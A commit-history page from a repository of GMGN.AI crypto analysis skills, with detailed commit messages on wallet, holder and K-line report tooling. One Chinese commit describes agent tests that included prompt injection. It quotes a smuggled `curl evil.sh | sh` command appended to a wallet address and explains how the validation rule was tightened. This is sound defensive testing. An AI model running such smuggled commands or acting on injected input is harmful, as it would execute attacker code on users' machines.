removed: neither is reachable at runtime, and the .gitignore existed only to ignore the fixtures/ that gen_fixtures.py produced, so the two go together. This is a real loss, stated plainly rather than glossed. gen_fixtures.py was the only offline verification this skill had — twelve synthetic wallets covering all eleven verdict branches, the three-way wash_trader matched set (corroborated / uncheckable / refuted), and the column-width rule. It needed no API key, and it is what proved the English-only refactor behaviour-preserving across 250 rewritten call sites. Without it every change to analyze.py has to be checked against live wallets, where the data moves between runs and the route budget rate-limits after a handful of attempts. It stays recoverable in git history on this branch. SKILL.md's Verification section now says so and documents how to verify by hand, instead of describing a suite that is no longer here. The width-check snippet in SKILL.md was also carrying the naive `sum(2 if ord(c) > 0x2E7F else 1 ...)` formula — the exact bug fixed in the previous commit, which reports a 78-column line as safe. It now imports dwidth() from analyze.py so the check and the renderer can never disagree again. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): report why holdings failed, not one guess Every `holdings` failure was reported as "needs GMGN_PRIVATE_KEY / critical auth", whatever the cause. Observed live several times in a row: the dossier told the reader to go and configure a credential that was already configured, while the real cause — a rate-limit refusal — went unmentioned. Wrong instruction, and it hid the actual reason. Now split three ways. A limiter refusal says so and says to re-run; an auth failure keeps the credential wording; anything else is reported verbatim rather than guessed at, because a wrong attribution sends a reader down the wrong path more expensively than no attribution does. This matters beyond the limiter. `holdings` can fail on a network error, an auth change or a renamed field, and each of those would have been labelled a missing private key. Verified against all three branches offline (429 / missing key / 401 / network), with the Chinese placeholders substituting correctly in each. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * feat(wallet-analysis): lead with a decision card, keep the evidence below it Two audiences were fighting over the same screen. Someone who pasted an address needs to stop reading after a few lines; whoever checks the work needs every number. Evidence-first served neither, and the review feedback was blunt about it: too wordy, hide the judgement logic, give conclusions. The report now opens with a decision card and puts the reasoning after it. `--brief` prints the card alone; the default prints both. Nothing is removed — the entire previous output is the second layer, byte-identical (verified across 12 fixtures x 2 languages). The headline is money rather than a ratio: "$1,000 -> $1,621" instead of "+62.1%". Same figure, no conversion asked of the reader, and no extra API call — it is roi_7d wearing clothes a newcomer already owns. Hiding the reasoning obliges the card to be MORE careful than the evidence layer, not less. Five rules, each of which the first cut broke: - The four marks read the gates. They were hardcoded to ✓, so a "🔴 DO NOT COPY" card carried "✓ the record is real" — asserting the opposite of its own headline, on the very check that caused it. - No headline figure when G1 fails. The card showed "$1,000 -> $1,122" for a wash-trading wallet; G1 failing means the P&L is the thing in dispute, so quoting it presents a disputed number as an achieved one. - No "how to follow" under a red verdict. It printed a size cap and a copy window beneath DO NOT COPY — directions for doing the thing the headline forbids. - No editorial the flags contradict. "Not a wallet that only churns" appeared on a card flagged for wash trading. - No card at all when any gate is ⚪. The card has nowhere to put "not measured", and one missing tick reads as a complete verdict with one fewer reason. card_blocked() withholds it; the evidence layer, which can print ⚪, carries the whole answer. Also fixes a translation-key collision this change walked into: the card's gate label reused the key "cuts losses", which the numbers panel's win-rate chip already owned, silently rewriting that chip in eight fixtures. The table has one slot per English string; the card's label is keyed "it cuts losses" and SKILL.md now warns about the hazard. usd_exact() exists because usd() renders the headline as "$1.0K -> $1.6K", which both rounds away the thing being demonstrated and returns to the abstraction the card was built to avoid. The size cap uses it too — that number gets typed into a swap. Verification: evidence layer byte-identical across all 24 fixture/language combinations; 48 runs (both modes) within the 76-column limit; card withheld on all four fixtures with an unmeasured gate; both polarities inspected by hand. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * feat(wallet-analysis): put cadence, return and amount on the card Reviewing the card against the fields the old first page carried turned up three numbers that nothing else on the card implies: - trades per day — 16/day and 725/day are the difference between something a person can do and something only a script can. The copy window hints at it; it does not say it. - the 7d return as a percentage — the figure people actually quote to each other. The money headline replaced it as the hook, not as the number. - the realized amount — the only thing on the card that shows the scale THIS wallet works at. The size cap describes the reader's size, not its. Everything else the old page 1 carried is unchanged in the evidence layer, which remains byte-identical across all 24 fixture/language combinations. Adding the line walked straight back into the defect fixed one commit ago, one line lower down: the card said "its profit figures are not trustworthy" and then printed "7d 12.2% · made $101.1K". Trade cadence is a fact about behaviour and survives a failed G1; a return and an amount are P&L claims and do not, so they are dropped there. The key-collision guard added last commit earned its place immediately — it refused `7d {0}`, already owned by the numbers panel's form curve, which would have silently rewritten that row the way `cuts losses` did. The card's keys are `{0} over 7 days` and `made {0} in that week`. Verified on the live wallet 0xa7d4…2b9f: 5.4s, zero data gaps, all four gates measured, card rendered. A prior run of the same wallet was rate-limited into two unmeasured gates and correctly produced no card at all rather than one with four green ticks over an unverified P&L. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): reconcile the win rate with the outcome chart The report printed two numbers that contradict each other and left the reader to notice. On a live wallet: 188 of 209 tokens in the 0-200% band, next to a 23.9% win rate. If that band meant "gained 0-200%", the win rate would be 90%. Checked against the raw response rather than guessed at: winrate 0.2388 -> about 50 of 209 tokens pnl_0x_2x_num 188 sell 48 50 winners against 48 sells in the window. The only reading that satisfies both numbers is that the 0-200% band absorbs every token with no realized result yet — bought, not yet sold, so realized ROI is 0, which sits on that band's lower edge. Its size is therefore not a count of wins. Left alone, the chart actively misleads: a full-width green bar over 188 tokens makes a 24%-win-rate wallet look like it wins nine times out of ten, and a reader who spots the clash concludes one of the two figures is broken. Now stated in both places a reader meets it: - under the chart, naming the arithmetic — how many the band holds, how many the win rate implies, and how many are simply unsettled - in the win-rate row, which gives the realized-winner count instead of a bare percentage over a denominator that means something else Gated on >=20 tokens and the gap being >=25% of the band, so a wallet whose two figures already agree gets no note. One of twelve fixtures triggers it — the one modelled on this wallet. Verified: ignoring whitespace, the only substantive change to the evidence layer is the win-rate row. Three neighbouring panel rows shift by a column because the panel is column-aligned and that cell got longer. 48 runs within the width limit. This is the skill's own "reconcile contradictory numbers rather than printing both" rule, which the distribution chart had been violating since it was added. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): use the fees actually paid, and make --size do something Two defects found by auditing what the skill computes against what it shows, and what the API returns against what it reads. **Friction was estimated while the real figure sat unread.** `portfolio stats` reports `bought_fee` and `sold_fee` for the window. Both were ignored. Friction was inferred instead from the gas median of a 300-row activity sample multiplied by the trade count — a sample-based estimate standing in for an exact number in a response already in hand. On 0xa7d4…2b9f the gap is not subtle: estimated gas $0.02 avg -> "0.0% of profit, friction manageable" actual bought_fee $2,924 + sold_fee $1,484 = $4,408 against $167,237 realized = 2.6% Two orders of magnitude, and the report was asserting "friction manageable" off the wrong one. It now uses the paid fees where the fields exist, keeps the sample estimate as the fallback where they do not, and labels which of the two it is showing — the estimate now reads "(estimated)" rather than passing as measurement. This feeds G3, whose reachability test fails at >=25% of profit, so the gate is now decided by the real number too. No fixture changes verdict: they carry no fee fields and take the fallback path. **--size accepted a value and did nothing with it.** It was parsed, stored on m["my_size"] and never read again — a silently inert flag. It has an obvious job, since size_cap already encodes the rule: above the wallet's own clip your fills are worse than the ones its record was built on, so its results stop describing you. Passing --size now states the multiple in the card's action block and in the numbers panel: the $5,000 you asked about is 11.7x its own clip of $427 — at that size your fills are worse than the ones this record was built on Nothing prints when the flag is absent. The flag is documented in SKILL.md, which had never mentioned it. Verified: across 24 fixture/language runs the only line that changes is the friction row, and only by gaining the "(estimated)" label — every percentage is identical. Neighbouring panel rows shift a column because that cell got longer. All runs within the width limit. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * feat(wallet-analysis): surface four figures that were computed and discarded The audit that found the friction defect also found four things the skill either computed or received and then never showed. Each answers a question a reader asks out loud and the report could not previously answer. native_balance — the dry powder, in the chain's native token. GMGN's own leaderboard puts it in column two; this fetched it and dropped it. Now on the provenance line: "159.1 BNB on hand". last_timestamp — freshness. Every other figure in the report is silent about whether the wallet is still trading, so a dossier on a wallet that went quiet three days ago read exactly like one on a wallet trading right now. Now stated under the 24h posture, and past 48 hours it says so plainly: "last trade 5.0 days ago — every figure here describes a wallet that has since gone quiet". realized_all / unrealized — the all-time figures existed only as a percentage. "How much has this wallet ever made" is the most natural question there is, and the amount was computed and thrown away. New panel row: "all time $1.90M realized · $4.0K on paper". entry_sub100k / accum_window_s — both computed, neither shown. The first turns G3's "median entry $20K" into "…and 100% of its entries are under $100k", which is the stronger statement. The second gives the ladder badge a duration: asserting a wallet ladders in on a buy COUNT alone never said whether that happens over minutes or over days. Of 98 metrics, 11 were computed and never read. Four are now shown; the remaining seven (pcr_source, tag_sev, follow_count, gas_share, dev_ath_mc, realized_1d, my_size's raw form) are internal bookkeeping or genuinely redundant. Verified across 24 fixture/language runs: every changed line is either the friction row or G3's entry row, which are exactly the two this and the previous commit touch. 48 runs including --brief stay within the width limit. The new fields degrade silently when absent — fixtures carry no native_balance or last_timestamp and print neither. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * feat(wallet-analysis)!: emit native markdown instead of terminal columns The skill printed column-aligned terminal text and every markdown version of it in this project was produced by hand afterwards. That is a defect with two edges: what an agent pipeline receives is not what a reader was shown, and SKILL.md's own "paste stdout verbatim" instruction could not be followed by anyone who wanted readable output. analyze.py now emits markdown directly — headings, tables, blockquotes, bold. Same two layers, same content, same metrics; only the renderer changed. The entire monospace grid is deleted with it: COL, BREAK_AFTER, wrap(), put(), wpad(), dwidth(), cwidth(), ZERO_WIDTH, WIDE_RANGES, WIDE_SYMBOLS and is_emoji_cp(). Roughly 120 lines existed to pad columns with spaces to a 76-display-column budget, and they kept producing a bug class of their own: a variation selector measured two columns while its emoji measured one, and wrap() and dwidth() disagreed by two, putting a line past the limit while every check called it safe. Markdown tables align themselves, so none of it is needed and none of it can rot. Verification changed shape accordingly. The old check counted display columns; the new one checks that the markdown is valid — every table has a delimiter row and a constant column count, `#` is followed by a space, bold markers pair, cell values are escaped so a pipe in a symbol cannot split a row, and the only raw HTML is the `<br>` used inside table cells. Clean across 48 runs (12 fixtures x 2 languages x with/without --brief). SKILL.md carries the checker. Two things the conversion surfaced and fixed: - "RISK FLAGS (2)" carried three bullets, because the reassurances were appended to the same list. They now sit under their own CLEARED heading, so the count matches its contents. - "0.0% of entries under $100k" printed a zero as if it were a finding. Guarded at the call site. SKILL.md's paste-verbatim rule now says what it means: do not reformat the output into your own tables, because that is exactly how the two drift apart. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): translate the five strings the markdown rewrite reworded The markdown renderer rephrased five strings — adding bold markers, a table header — and a reworded string is a new key. All five fell back to English mid-report, so the Chinese output carried "50 positions · $14.5K total", "24h bought / sold", "profit concentration ..." and "live book: unavailable" verbatim. Nothing failed: T() falls back to English by design, which is right for a missing translation and silent for a regressed one. Also splits the holdings table's column key. It used `value`, which the numbers panel already owns, and the table has one slot per English string; it is now `market value`. Same collision class as `cuts losses` before it, caught this time by checking before writing. Adds a completeness check to SKILL.md — walk the AST for literal T() keys and diff against the table. And a warning not to run that check in reverse. Using it to prune "unreferenced" entries deleted live translations here: several strings reach T() through a variable and the scan cannot see them — the TAGS, TITLES, GATE_NAMES, GATE_GLOSS and GATE_PLAIN tables, plus the holdings sentence built as a conditional expression. Unused entries are harmless bloat; a deleted live one breaks exactly one language. Verified on the live wallet: no English leaks in the Chinese report, and 48 fixture/language/mode runs still emit valid markdown. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): drop empty-header tables and give the report an H1 Three layout defects in the markdown output, all visible the moment it is rendered rather than read as source. **Four tables had an empty header row.** The speed read, the identity block and the 24h buy list are key/value pairs, not tabular data, and md_table() emitted `| | |` for them — which renders as a blank header band above the content and reads as a broken table. They are definition lists: `- **label** — value` says the same thing with no empty band. The outcome distribution genuinely is tabular and now has real headers instead of blanks. **`<br>` leaked out of its table cell.** It existed so a cell could hold two lines; once those blocks stopped being tables it rendered as literal text in the middle of a sentence. A continuation line indented two spaces stays inside its list item and needs no tag, so the output now contains no raw HTML at all and the checker rejects every tag rather than allowing one. **The document had no H1 when the card was withheld.** With a card the report opens `# verdict` … `# EVIDENCE`; without one it opened at `##`, so nothing was the top level. The verdict heading is now `#` when there is no card above it. The checker in SKILL.md gains all three: empty header rows, any raw HTML, and a document whose first heading is not `#`. Clean across 48 runs. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): label each gate once, and fix the heading hierarchy Readability pass on the markdown output. **A gate was labelled three times.** `✅ G1 真实性（数据可信吗）` carries an internal code, a formal noun and a plain-language gloss, all naming the same test. The code is bookkeeping that belongs in the source; the formal noun ("AUTHENTICITY") is not the question a reader is asking. The gloss is — so the gloss is now the whole label, and it reads as the question it always was: ### ✅ 数据可信吗 ### ✅ 现在还在赚吗 ### ✅ 你吃得到吗 ### ✅ 它会砍仓吗 The section heading also carried a `⚪G1 ✅G2 ❌G3 ✅G4` strip that restated the four marks appearing immediately below it. Gone. **Gates were bold paragraphs, not headings**, so four of them in sequence had no hierarchy and did not appear in any outline. They are `###` under their section now. **Heading levels skipped.** The card's own sections were `###` directly under a `#`, which reads as a missing level in any outline view. They are `##`. The distribution moves from `##` to `###` because it is a footnote to the numbers panel rather than a peer of it — eight top-level sections in the evidence layer was more navigation than the content needs. The checker in SKILL.md gains a level-sequence walk, so a future skip fails rather than being noticed by eye. Clean across 48 runs in both languages. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): explain the size cap on every path, not just one The size cap's derivation lived on the `p["G3"] is True` branch of actions(), so it printed only when reachability passed. The run that most needs it is the other one: G3 fails, the reader is told not to mirror the wallet, and the card still shows "start no larger than $132" — a bare number sitting next to "do not copy", with the reasoning nowhere on the page. Sizing and reachability answer different questions. Gating one on the other was a control-flow mistake, not a missing sentence: the text existed and was unreachable exactly when it mattered. It now prints whenever a cap exists, worded so it holds under "do not mirror" as well: "keep it at or under $132 — half of the $263 this wallet puts on a buy. Past its own size your fill is worse than the ones its record was built on, so its numbers stop describing you." The quote-before-sending line stays on the G3-pass branch, since that one is genuinely about being able to get filled. Worth recording what this was not: the report DOES explain why the copy window uses a median rather than the mean — the hold_conflict note says the mean is dragged up by bags never sold. Both numbers looked unexplained; only one was. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): issue the decisive call first, not last A full dossier costs weight 26-28 against a rate-limit bucket of 20, so on a cold-ish bucket something gets refused. `holdings` was issued last, at cumulative weight 26, which made the most decisive call the guaranteed casualty — and it is decisive three times over: G1's corroboration of a `wash_trader` tag, G4's honeypot check and the profit engine all read it. Lose it and the verdict falls to HOLD OFF on a wallet whose tag was in fact refutable. Observed on five consecutive live runs of the same wallet, across waits of 280s, 290s, 400s and 420s. Waiting does not fix it: one run cannot fit in one bucket, so the tail is refused whatever the starting level. The gate-critical set now goes first and fits inside one bucket: stats_7d(3) -> profits_all(3) -> holdings(5) = 11 verdict decidable activity(3 x 3 = 9) = 20 window, entry band stats_30d(3), profits_1d(3) = 26 depth only profits_all ranks above the two windows because G2 is unevaluable without it, while stats_30d and profits_1d only add depth to readings that already exist — which makes them the correct things to lose. Same routes, same parameters, same page count: only the sequence moved. All 24 fixture/language outputs are byte-identical across the change, which is the claim that matters — no threshold, formula or verdict row is touched. This is the ordering half of the closed #2. The pacing and caching in that PR were rejected on the grounds that the API being integrated does not rate-limit; the ordering costs nothing either way and fixes the failure that is happening today against gmgn-cli. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: chenjunfeng <chenjunfeng@gmgn.ai> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
GMGN.AI
|
6b2f146de3 | 1.5.9 v1.5.9 | ||
|
GMGN.AIandGitHub
|
8da65df525 |
Merge pull request #209 from dylanzhong662-max/feat-rate-limit-upgrade-link
feat: show plan upgrade guidance on rate limits |
||
|
zhongsongzhi-cmyk
|
37a078be40 | feat: show plan upgrade guidance on rate limits | ||
|
GMGN.AIandGitHub
|
5d7eac3b3b |
Merge pull request #206 from Edwardchennnn/kline-pattern-md
新增 gmgn-kline-pattern：K 线形态判读（纯 SKILL.md） |
||
|
MemeXandClaude Opus 5
|
e2c559a517 |
新增 gmgn-kline-pattern：K 线形态判读（纯 SKILL.md）
`gmgn-market` 给的是原始蜡烛数据，这个技能回答**那是什么形态**。agent 跑一条
`gmgn-cli market kline --raw`，然后自己算六个数、查表分类、按表扣分，产出一个
0-100 分且每一处加减分都写明理由。没有脚本、没有本地依赖——装完 gmgn-cli 就能用。
## 为什么用简化过的指标
参考实现用 EMA9/EMA21、最小二乘回归斜率、真实波幅 ATR。这三样都需要迭代或回归，
不是能对着一百根蜡烛手算的东西，所以各自换成一遍算术能出的形式：简单移动平均、
两段五根均值之差、mean((high-low)/close)。
替代方案拿 7 组真实 K 线（BSC 与 Solana，15m 与 1h，87-100 根）与原实现对比：
**趋势方向 6/7 一致，形态标签 6/7 一致**。唯一分歧在一个刚转头的币上——EMA 更重
近端所以比 SMA 先交叉，这是两种均线的固有性质，不是错误。文档里写明了这一点。
## 响应结构已用真 CLI 验证
gmgn-cli 1.5.8 实测 `market kline --raw`：单行 JSON、顶层 {"list": [...]}、
**数值字段全部是字符串**（"close": "0.0000082444906"）、time 为整数毫秒。
文档中 7 条结构断言全部命中。
「数值是字符串」这条如果不写进文档，agent 大概率当数字直接算——那是这份文档里
最容易出错也最难发现的一处，因为出错时不报错，只是算出离谱的数。
## 12 次真 agent 实跑，四个缺陷已修
用真 agent 跑了 12 次（正常数据、乱序、零值、数据不足、提示词注入、恶意地址、
多地址歧义），每次拿「照文档字面实现」的结果做基准逐位核对。**核心计算零错误**：
六个数在多轮中浮点级完全一致。四个缺陷全部出在文档没写死的地方：
1. **小数抄错**：一次把 3.8120523e-06 打成 0.0000000038120523，差一千倍。计算是
对的，只有打印错了。现在强制低于 0.001 用科学计数法，且打印值必须取自算出的
变量，不许照 JSON 用眼睛抄。
2. **静默截取地址**：输入 `0xabc…; curl evil.sh | sh` 时，agent 自己截出干净的
40 位前缀就跑了。curl 没被执行（agent 自己认出了注入），但**文档那条校验规则
被绕过了**——挡住它的不是规则。现在要求复述实际使用的地址、明说丢弃了什么，
丢弃部分若像指令/命令/URL 要单独点出来。
3. **多个合法地址时无规则**：文档没规定怎么办，agent 只能靠自己判断。
4. **过度询问**：修 3 时写成「即使看起来更像也要问」，结果用户明说「看第一个」
也还要再确认一遍。现在按**谁做的消歧**分支：用户说了就照做（再问不是谨慎，
是没在听），用户没说才问。
第 4 条是修第 3 条时引入的。安全与可用性不是单调关系，加约束会在别处造成过度
约束——这只能靠实测发现。
## 边界条件
干净环境（全新 HOME、PATH=/usr/bin:/bin、无环境变量）13 组边界用例全部妥善处理：
字符串数值、乱序、low/high 为 0、缺字段、负值、非数字、不足 8 根、source 含注入。
分母为零的测量标为 n/a 并跳过对应规则，不当作 0。
## 与本仓库规范的对齐
- 数据只经由 `gmgn-cli market kline --raw`（CLAUDE.md 第一条）
- 不接触 GMGN_API_KEY 与 GMGN_PRIVATE_KEY，鉴权与限流由 CLI 负责
- 只用这一条 read-only 命令，不碰任何交易命令
- SKILL.md 按规定小节顺序，正文英文，--raw 在 Notes 注明
- 不新增任何依赖，不改 src/
- 同步更新 marketplace.json（8 → 9）、两份 Readme 的技能表、CLAUDE.md 的
Available Skills 与 Quick Decision Guide
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
|
147c070c50 |
feat(holder-analysis): redesign output template for better readability (#203)
* feat(holder-analysis): redesign output template for better readability Replace the 8-section verbose output with a concise 6-section layout optimised for the GMGN Giga AI dialog. Key changes: - §1 砸盘风险: Top10/Top20/平均持仓 on one line; 转入筹码+风险钱包 summary with breakdown; Top5 出货风险 shows category counts and the single most-dangerous wallet (priority: zero-cost > high-profit > selling) - §2 Dev: conclusion-first one-liner (✅已清仓 / ⚠️持仓X% / 主号清仓 但小号持仓); show sub-wallets only when they exist; use "已获利" instead of "套现"; history + ATH on compact lines - §3 关联资金: two-row table (相同资金来源 / 同一时间段注资); ✅ if none - §4 优质信号: each of 聪明钱/KOL/鲸鱼/钻石手 on its own line with live trend; skip categories at 0; show "均无" when all three are 0 - §5 持仓购买力: collapsed to two rows (高余额大户 / 低/零余额) - §6 🤖 建议: rating + one-line core judgment + 💡 离场信号 Removed sections: 📈入场成本分析, 📊筹码结构 (rarely useful, added noise) All upstream data-collection improvements are preserved intact: float-based percentages (fpct/fs/f1), live native price, strong/weak related funds (TIGHT=60s/WINDOW=300s), diamond-hand buy_tx guard, degenerate-float and no-data banners. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com> * fix(holder-analysis): improve output wording - 历史最高 → 历史最高市值 - 关联资金：有数据时补显示缺失的一行（✅ 未发现） Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com> --------- Co-authored-by: Gina <gina@gmgn.ai> Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com> |
||
|
|
986902a4de |
fix(holder-analysis): stop rendering divide-by-zero noise and empty data as conclusions (#201)
* enhance skill * fix(holder-analysis): stop reporting artifacts and empty data as verdicts The report could reach a confident rating from numbers that carried no information. Six fixes, all of the same shape: never turn a divide-by-zero or an empty set into a conclusion. - Degenerate float guard (FLOAT_MIN 2%): when burn + DEX hold nearly all supply, every `/ float_share` inflated dust wallets to double digits. A wallet holding ~$2 was rated "largest wallet holds 100% — extreme concentration → Not Recommended". Now prints absolute token/USD figures, forces percentage flags to ⚪ and rates ⚪ Cannot Assess. The dev sock-puppet rule uses no percentage, so it still escalates to 🔴. - Empty holder list: upstream returns {"list":[]} for dead or de-indexed tokens. Every percentage read 0.00%, no threshold fired, and the report printed "no obvious dump risk" and "Normal" — a positive verdict on zero data. Same treatment as above, plus "none found 🟢" lines become ⚪. - Coverage caveat now follows actual coverage: floors below 99.5%, complete values when Top100 covers the whole float. It previously contradicted the line directly above it. - Chip quality split into three exclusive buckets (bought-in / zero-cost airdrop / risk-tagged) instead of one healthy ratio that collapsed to "0.0% 🔴" on any airdrop-distributed token. 🔴 is reserved for risk-tagged >30%: unknown provenance is not proven-bad. - Diamond hands now require buy_tx_count_cur > 0. Never-bought wallets were counted as diamond hands, so an airdropped token claimed both "airdrop 79% 🔴" and "diamond hands 80% ✅" from the same wallets. They are now a separate Idle airdrop line. - ATH staleness: upstream ath_price has been seen equal to price_24h, so creator_ath_info.ath_mc can sit below current MC. Cannot be recomputed here, so it is flagged rather than presented as the dev's peak. Also fixes a NameError in the dev created-tokens Top3 loop (mig_lcomabel assigned, mig_label read) that fired for any dev with a non-empty tokens array. Verified on live data in zh and en: a degenerate-float token, an empty-holder token, and a token with real holders; the full-coverage and created-tokens branches were covered with a stub CLI. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(holder-analysis): 无法评估时不再打印流通盘占比数字 上一版只把旗标中和成 ⚪，占比数字照原样打印。实测退化流通盘（可流通 0.0035%）的输出里仍有 17 处除零产物，同一份报告同时出现 "hold 100.00%" 和 "hold 0.00%"： · Rat Trader 1 hold 100.00% 🚨 ← 该钱包实际只握着约 $2 代币 Batch1(1d ago) 15 wallets hold 100.00% 🟢 ← 数字和旗标同时错 KOL 1 hold 0.00% ✅ ← 这一行连 ⚪ 都没有 顶部横幅只解释一次，读者扫到这些行仍会当成结论。改为所有流通盘占比统一走 新的 fpct()，无法评估时渲染 n/a / 无法评估；入场批次旗标补上 pf()。 保留照常打印的部分：钱包个数、代币数量、美元金额、市值（都不经过 float_share），以及总供应口径的百分比（burn / DEX / 流通盘自身 / 筹码质量 三桶，分母不受影响）。 可评估路径为严格 no-op：同一份 stub 数据下中英文输出与改动前逐字节相同。 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: Jiujiu Pan <panjiujiu@quantbay.tech> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
GMGN.AI
|
87e650270e | 1.5.8 v1.5.8 | ||
|
GMGN.AIandGitHub
|
b2c4c11d90 |
Merge pull request #202 from dylanzhong662-max/feat/batch-wallet-profits
feat(portfolio): add batch wallet profits command |
||
|
zhongsongzhi-cmyk
|
8eaee1cb03 | feat(portfolio): add batch wallet profits command | ||
|
GMGN.AI
|
b2df38d836 | 1.5.7 v1.5.7 |